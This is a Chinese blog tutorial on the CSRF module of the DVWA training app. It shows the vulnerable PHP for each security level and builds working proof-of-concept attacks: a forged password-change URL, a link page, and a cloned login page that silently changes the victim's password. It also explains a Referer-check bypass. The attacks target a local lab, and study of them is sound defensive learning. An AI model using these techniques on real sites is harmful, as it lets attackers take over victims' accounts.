dvwa(4)——CSRF(跨站请求伪造)

2024-03-07 20:30
文章标签 请求 csrf 伪造 dvwa 跨站

本文主要是介绍dvwa(4)——CSRF(跨站请求伪造),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1. 前言

1.1 什么是CSRF(跨站请求伪造)

CSRF(Cross—site request forgery),跨站请求伪造,是指利用受害者未失效的身份认证信息(cookie,会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下,以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账,改密等)。

1.2 CSRF与XSS的区别

  1. CSRF属于业务逻辑漏洞,在服务器看来,所有的请求都是合法正常的;
  2. XSS,SQL注入等等都是属于技术漏洞;
  3. XSS:客户信任服务器,XSS 利用的是用户对指定网站的信任
  4. CSRF:服务器信任客户(经过身份认证的),CSRF 利用的是网站对用户网页浏览器的信任

1.3 CSRF攻击成功的前提

  1. 用户必须登录;
  2. 黑客必须懂得一些发包的请求;
  3. 服务器端不会有二次认证;
  4. 被害者是不知情的;

1.4 图例解释

在这里插入图片描述
说明

  1. 用户首先登录服务器;
  2. 服务器返回cookie;
  3. 然后hacker将可以修改用户密码的URL发给用户;
  4. 用户如果点击了该URL,则密码就会被更改(如果没有点击,则密码不会被修改,但密码是否被更改hacker是不知道的);
  5. 最后,黑客使用用户的用户名和密码尝试进行登录服务器;如果成功,则证明用户点过url,如果没有登录成功,则用户没有点击url;

2. 各等级测试

2.1 low

2.1.1 核心代码

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

说明

  1. 从源码中可以看到,mysqli_real_escape_string()函数去转义一些字符,密码中不能包含SQL中的特殊字符;
  2. 服务器收到修改密码的请求后,会检查参数pass_new与pass_conf是否相同,如果相同,则会更新数据库,修改密码,并没有任何的防CSRF机制(用户已经登录服务器)。

2.1.2 尝试攻击

本地简单攻击

  1. 登录dvwaa
  2. 修改密码,并抓取调用接口
    a. 密码和确认密码不一致
    在这里插入图片描述
    修改密码的URL:
    http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=789&password_conf=123456&Change=Change

b. 两次密码一致
当用户登录之后的cookie还没有失效,我们直接用浏览器访问, 就会发现密码已经被更改了
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
在这里插入图片描述
远程访问
把构造的带有修改密码的url发送给目标用户,目标用户访问之后,密码就会被修改
如果修改密码的链接过于明显,可以使用一些缩短链接的方法;

构造攻击链接

  1. 通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。
    将test.html文件放在攻击者自己准备的网站上
  2. 当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击test.html 误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击
    例如:
    html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF测试</title>
</head>
<body>
<a href="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change">更多详情</a>
</body>
</html>

访问链接后密码就会被修改
在这里插入图片描述
构造攻击页面

  1. 复制访问http://127.0.0.1/dvwa/login.php的html, 伪造用户信任的页面
    html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Login :: Damn Vulnerable Web Application (DVWA) v1.10*Development*</title><link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />
<script>function displayDate() {window.open("http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change", "_self");window.location="http://127.0.0.1/dvwa";}
</script>
</head><body><div id="wrapper"><div id="header"><br /><p><img src="dvwa/images/login_logo.png" /></p><br /></div><!--<div id="header">--><div id="content"><form action="login.php" method="post"><fieldset><label for="user">Username</label> <input type="text"class="loginInput" size="20" name="username"><br /> <labelfor="pass">Password</label> <input type="password"class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br /><br /><button type="button" id="Loginbtn" onclick="displayDate()">Login</button></fieldset><input type='hidden' name='user_token'value='2d505dae0df10669f50ad0f498af9696' /></form><br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /><!-- <img src="dvwa/images/RandomStorm.png" /> --></div><!--<div id="content">--><div id="footer"><p><a href="http://www.dvwa.co.uk/" target="_blank">Damn VulnerableWeb Application (DVWA)</a></p></div><!--<div id="footer"> --></div><!--<div id="wrapper"> --></body></html>

修改部分:

//1.访问修改URL,并欺骗用户
<script>function displayDate() {//不打开新的创建访问修改密码的页面window.open("http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change", "_self");//重定向到登录页面window.location="http://127.0.0.1/dvwa";}
</script>
//2. 给登录按钮绑定点击函数
<button type="button" id="Loginbtn" onclick="displayDate()">Login</button>

在这里插入图片描述
2. 点击登录按钮,密码一斤被更改,但是用户还浑然不知

2.2 Medium

2.2.1 核心代码

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

说明:
Medium级别的代码使用 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,即要求本地登录),希望通过这种机制抵御CSRF攻击。
过滤规则是http包头的Referer参数的值中必须包含主机名127.0.0.1, 只能本地登录,此时可以把之前的test.html文件,我们重命名为127.0.0.1.html来达到绕过的目的。

2.3 High

2.3.1 核心代码

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>

说明
High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

2.4 Impossible

2.4.1 核心代码

在这里插入图片描述

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>

说明
Impossible级别的代码利用PDO技术防御SQL注入;
对于防护CSRF,则要求用户输入原始密码,攻击者在不知道原始密码的情况下,无法进行CSRF攻击;

这篇关于dvwa(4)——CSRF(跨站请求伪造)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/784735

相关文章

SpringBoot请求参数接收控制指南分享

《SpringBoot请求参数接收控制指南分享》:本文主要介绍SpringBoot请求参数接收控制指南,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Spring Boot 请求参数接收控制指南1. 概述2. 有注解时参数接收方式对比3. 无注解时接收参数默认位置

Spring 请求之传递 JSON 数据的操作方法

《Spring请求之传递JSON数据的操作方法》JSON就是一种数据格式,有自己的格式和语法,使用文本表示一个对象或数组的信息,因此JSON本质是字符串,主要负责在不同的语言中数据传递和交换,这... 目录jsON 概念JSON 语法JSON 的语法JSON 的两种结构JSON 字符串和 Java 对象互转

SpringMVC获取请求参数的方法

《SpringMVC获取请求参数的方法》:本文主要介绍SpringMVC获取请求参数的方法,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下... 目录1、通过ServletAPI获取2、通过控制器方法的形参获取请求参数3、@RequestParam4、@

鸿蒙中Axios数据请求的封装和配置方法

《鸿蒙中Axios数据请求的封装和配置方法》:本文主要介绍鸿蒙中Axios数据请求的封装和配置方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1.配置权限 应用级权限和系统级权限2.配置网络请求的代码3.下载在Entry中 下载AxIOS4.封装Htt

springboot filter实现请求响应全链路拦截

《springbootfilter实现请求响应全链路拦截》这篇文章主要为大家详细介绍了SpringBoot如何结合Filter同时拦截请求和响应,从而实现​​日志采集自动化,感兴趣的小伙伴可以跟随小... 目录一、为什么你需要这个过滤器?​​​二、核心实现:一个Filter搞定双向数据流​​​​三、完整代码

AJAX请求上传下载进度监控实现方式

《AJAX请求上传下载进度监控实现方式》在日常Web开发中,AJAX(AsynchronousJavaScriptandXML)被广泛用于异步请求数据,而无需刷新整个页面,:本文主要介绍AJAX请... 目录1. 前言2. 基于XMLHttpRequest的进度监控2.1 基础版文件上传监控2.2 增强版多

SpringBoot使用OkHttp完成高效网络请求详解

《SpringBoot使用OkHttp完成高效网络请求详解》OkHttp是一个高效的HTTP客户端,支持同步和异步请求,且具备自动处理cookie、缓存和连接池等高级功能,下面我们来看看SpringB... 目录一、OkHttp 简介二、在 Spring Boot 中集成 OkHttp三、封装 OkHttp

Go语言中最便捷的http请求包resty的使用详解

《Go语言中最便捷的http请求包resty的使用详解》go语言虽然自身就有net/http包,但是说实话用起来没那么好用,resty包是go语言中一个非常受欢迎的http请求处理包,下面我们一起来学... 目录安装一、一个简单的get二、带查询参数三、设置请求头、body四、设置表单数据五、处理响应六、超

Qt实现发送HTTP请求的示例详解

《Qt实现发送HTTP请求的示例详解》这篇文章主要为大家详细介绍了如何通过Qt实现发送HTTP请求,文中的示例代码讲解详细,具有一定的借鉴价值,感兴趣的小伙伴可以跟随小编一起学习一下... 目录1、添加network模块2、包含改头文件3、创建网络访问管理器4、创建接口5、创建网络请求对象6、创建一个回复对

SpringBoot项目注入 traceId 追踪整个请求的日志链路(过程详解)

《SpringBoot项目注入traceId追踪整个请求的日志链路(过程详解)》本文介绍了如何在单体SpringBoot项目中通过手动实现过滤器或拦截器来注入traceId,以追踪整个请求的日志链... SpringBoot项目注入 traceId 来追踪整个请求的日志链路,有了 traceId, 我们在排